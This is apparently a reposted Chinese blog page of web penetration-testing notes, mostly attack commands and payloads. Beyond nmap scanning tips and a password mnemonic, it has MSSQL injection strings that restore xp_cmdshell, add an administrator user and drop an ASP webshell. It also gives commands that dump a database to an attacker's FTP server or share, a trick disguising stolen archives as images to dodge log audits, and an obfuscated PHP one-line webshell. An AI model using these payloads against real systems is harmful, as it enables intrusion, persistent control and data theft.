web渗透笔记

1、安装nmap记录:
(1)下载:
wget http://nmap.org/dist/nmap-6.46.tar.bz2(最新版)
wget http://nmap.org/dist/nmap-6.00.tgz(稳定版)
(2)解压
tar -zxvf nmap-6.00.tar.bz2;mv nmap-6.00 nmap或
tar -jxvf nmap-6.46.tar.bz2;mv nmap-6.46 nmap
(3)安装
cd nmap
./configure
make
(4)测试
./nmap -h

安装过程中经常提示需要安装G++,需要切换root进行安装:
yum install gcc gcc-c++


2、用nmap做内网扫描记录
(1)大规模探测存活主机
./nmap -sP 192.168.0.1/24
./nmap -sP 172.16.0.1/19
针对大型的网络例如整个B段,建议分成32个C段一次扫描(/19),这样的话扫描一次大概耗时一个小时左右。

(2)把(1)扫描到的存活主机做成IP地址列表ip.txt,进行目标甄别
./nmap -sS -iL ip.txt 
注:-iL选项真的很智能的说

(3)详细扫描:
./nmap -sT -PN -O -A -v -iL ip.txt


3、nmap探测防火墙脚本 
nmap –script=firewalk –traceroute 192.168.0.1
或是使用-sA参数


4、打包下载文件小技巧
例如要打包下载web目录下的文件
tar -zcvf /home/backup/feiji.jpg /home/web/*
下载到本地之后后缀名改成tar.gz解压,这样可以躲过服务器的日志审计


5、win命令行下查找文件
查找C盘所有文件包含feiji文件名的文件
dir c: /s /b | find /i “feiji”


6、命令行修改远程桌面监听的端口
REG ADD HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal” “ServerWds dpwdTds cp /v PortNumber /t REG_DWORD /D 00001000 /f
REG ADD HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal” “ServerWinStationsRDP-Tcp /v PortNumber /t REG_DWORD /D 00001000 /f
将远程桌面3389端口改成1000端口,机器需要重启


7、跟大家分享一则记密码的技巧:
我们可以利用古诗进行密码记忆,例如“床前明月光,疑似地上霜”,取每个字的首字母,可以组成这样的密码:
“cqmygysdss”,“CqMyGySdSs”,“cqmyg,ysdsss”,”CQMYG,ysdss”
组合千变万化,而且可以一个月换一句古诗,又好记又安全
(没技术含量勿喷,在一次安全培训上看到的,觉得很不错分享给大家)


8、SQL server注入恢复xp_cmdshell

(1)查看xp_cmdshell是否被禁用。
?id=1234;and (select count(*) from master.dbo.sysobjects where  xtype=”X” and name =’xp_cmdshell’)
(2)若存储过程被删掉,则尝试恢复。
?id=1234;and exec sp_addextendepro  xp_cmdshell,’xplog70.dll’
(3)若出现下面的错误,可以尝试如下方法:
无法装载 DLL xpsql70.dll 或该DLL 所引用的某一DLL。原因126 (找不到指定模块)。
首先执行,exec sp_dropextendeproc “xp_cmdshell” ,然后执行sp_addextendeproc “xp_cmdshell”,”xpsql70.dll”
无法装载xpweb70.dll 中找到函数xp_cmdshell 原因127
首先执行 exec sp_dropextendeproc “xp_cmdshell” ,然后执行 exec sp_addextendeproc “xp_cmdshell”,”xpweb70.dll”

9、则利用存储过程,执行添加用户的操作。
?id=1234 ;exec master..xp_cmdshell “net user aaa bbb /add ”–  其中aaa为用户名,bbb为密码。
添加到管理员组:
?id=1234 ;exec master..xp_cmdshell “net  localgroup administrators aaa/add ”

10、当然当知道web虚拟路径的时候,可以写入一句话木马来完成对计算机的控制。
?id=1234;exec master..xp_cmdshell “copy c:windowssystem32cmd.exe  c:inetpubscriptscmd.exe”
echo ^<^%execute^(request^(“eval”^)^)^%^>  c:inetpubwwwrootcms est123456.asp


11、站库分离拖库技巧(Mssql SA权限)
exec master.dbo.xp_cmdshell "del c:ak"
--   backup database 数据库名 to disk = 'c:ak'               --备份整个库
exec master.dbo.xp_cmdshell 'bcp 数据库名.dbo.表名 out c:ak -c'    --备份单个表(文本)
exec master.dbo.xp_cmdshell "echo open IP地址 > c:ftp.txt"
exec master.dbo.xp_cmdshell "echo ftp账户 >> c:ftp.txt"
exec master.dbo.xp_cmdshell "echo ftp密码 >> c:ftp.txt"
exec master.dbo.xp_cmdshell "echo binary >> c:ftp.txt"
exec master.dbo.xp_cmdshell "echo put c:ak >> c:ftp.txt"
exec master.dbo.xp_cmdshell "ftp -s:c:ftp.txt"
exec master.dbo.xp_cmdshell "del c:ftp.txt"
exec master.dbo.xp_cmdshell "del c:ak"

exec master..xp_cmdshell 'net use \xx.xx.xx.xxd$ est "pass" /user:"user"'
exec master..xp_cmdshell 'bcp test.dbo.test out \xx.xx.xx.xxd$ est1.txt -c -Slocalhost -Uuser -Ppass'


12、php的eval函数并不是系统组件函数,因此我们在php.ini中使用disable_functions是无法禁止它的。我们也只有使用插件了!
如果想禁掉eval可以用php的扩展 Suhosin:
安装Suhosin后在php.ini中load进来Suhosin.so,再加上suhosin.executor.disable_eval = on即可!

13、巧用netcat下载文件
在本机执行cat file | nc -l 1234
这个命令会将file的内容输出到本地的1234端口中,然后不论谁连接此端口,file的内容将会发送到连接过来的IP。
目标电脑上的命令:nc host_ip 1234 > file 
这条命令将连接攻击者的电脑,接受file内容保存。


14、利用Perl下载文件

#!/usr/bin/perl
use LWP::Simple;
getstore(“http://domain/file”, “file”);

执行脚本文件是这样
root@kali:~# perl test.pl

15、利用Python下载文件#!/usr/bin/python
import urllib2
u = urllib2.urlopen(‘http://domain/file’)
localFile = open(‘local_file’, ‘w’)
localFile.write(u.read())
localFile.close() 
执行脚本文件是这样
root@kali:~# python test.py

16、利用Ruby下载文件
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("www.domain.com") { |http|
r = http.get("/file")
open("save_location", "wb") { |file|
file.write(r.body)
}
}


执行脚本文件是这样
root@kali:~# ruby test.rb

17、利用PHP下载文件<?php

        $data = @file(“http://example.com/file”);
        $lf = “local_file”;
        $fh = fopen($lf, ‘w’);
        fwrite($fh, $data[0]);
        fclose($fh);
?>

执行脚本文件是这样
root@kali:~# php test.php

18、极隐蔽的php一句话木马
<?php
    @$_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>


也可以写成:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");


19.win查看所有安装的程序的信息
reg export HKLMSoftwareMicrosoftWindowsCurrentversionUninstall tmp.txt

原文地址:https://www.cnblogs.com/sybboy/p/5039896.html